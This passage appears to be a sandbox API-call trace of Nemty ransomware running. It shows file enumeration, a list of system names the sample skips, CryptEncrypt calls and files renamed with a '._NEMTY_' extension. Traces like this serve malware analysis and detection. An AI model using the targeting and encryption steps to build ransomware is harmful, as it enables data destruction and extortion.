lpOverlapped=0x0) returned 0 [0086.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.868] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.883] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0086.889] CloseHandle (hObject=0xffffffff) returned 0 [0086.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0086.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0086.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0086.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0086.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0086.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0086.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0086.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0086.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0086.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0086.890] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0086.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0086.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0086.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0086.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0086.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0086.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0086.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0086.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0086.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0086.890] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0086.890] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0086.890] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0086.890] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="...") returned 1 [0086.890] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="windows") returned -1 [0086.890] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0086.890] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="rsa") returned -1 [0086.890] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0086.890] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0086.891] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0086.891] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0086.891] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0086.891] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0086.891] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0086.891] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0086.891] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0086.891] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0086.891] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0086.891] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0086.891] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0086.891] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="programdata") returned -1 [0086.891] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="appdata") returned 1 [0086.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0086.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0086.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0086.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0086.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94358 [0086.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0086.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0086.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0086.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0086.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0086.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0086.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0086.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0086.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0086.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0086.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0086.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0086.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0086.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0086.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x4f94358 [0086.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0086.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0086.892] Sleep (dwMilliseconds=0x5) [0086.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe77250d0, dwHighDateTime=0x1d561e7)) [0086.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe77250d0, dwHighDateTime=0x1d561e7)) [0086.906] GetLastError () returned 0x5 [0086.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0086.906] GetLastError () returned 0x5 [0086.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0086.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0086.906] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0086.906] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0086.906] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0086.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340120 [0086.906] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340120, pcchString=0x653e91c | out: pszString="4rOW3MaoZLsl28dwyD2FN551sdXalKPUmcSexAJ2KjlwqoTGRnc96TJsVsyzv0Cq\r\n8FON06tDBWIre7RrrhroPPHDsmWESRJze85UDT/LoRHrv/rABlMxTLLyvyn/ma6X\r\n8BDmm3bdxRSl2fx4XXJ0N1CN8TF+c2kKAwIaRxToL+TL0gmEsc0VUfIgNOymysVG\r\npyK9NEVkVheK78TuoyCAJiBKSL45iGEtbBeIMLpuYnRL14kn7GW+t+0Vf7eazW17\r\n6lYAlKhq4Qv11MucTIP0Hse3FsjuASm++V0xhjl13ZZXZJHePDXc4aF2iid1aiGp\r\nSmEzlRvnBZIiCn9ov9Jevw==\r\n", pcchString=0x653e91c) returned 1 [0086.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0086.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0086.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0086.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0086.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340120 [0086.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0086.906] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.907] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0086.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0086.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.926] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.945] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.954] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.954] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.963] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.963] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.973] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.973] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.982] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.982] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.991] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.991] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.001] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.007] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, 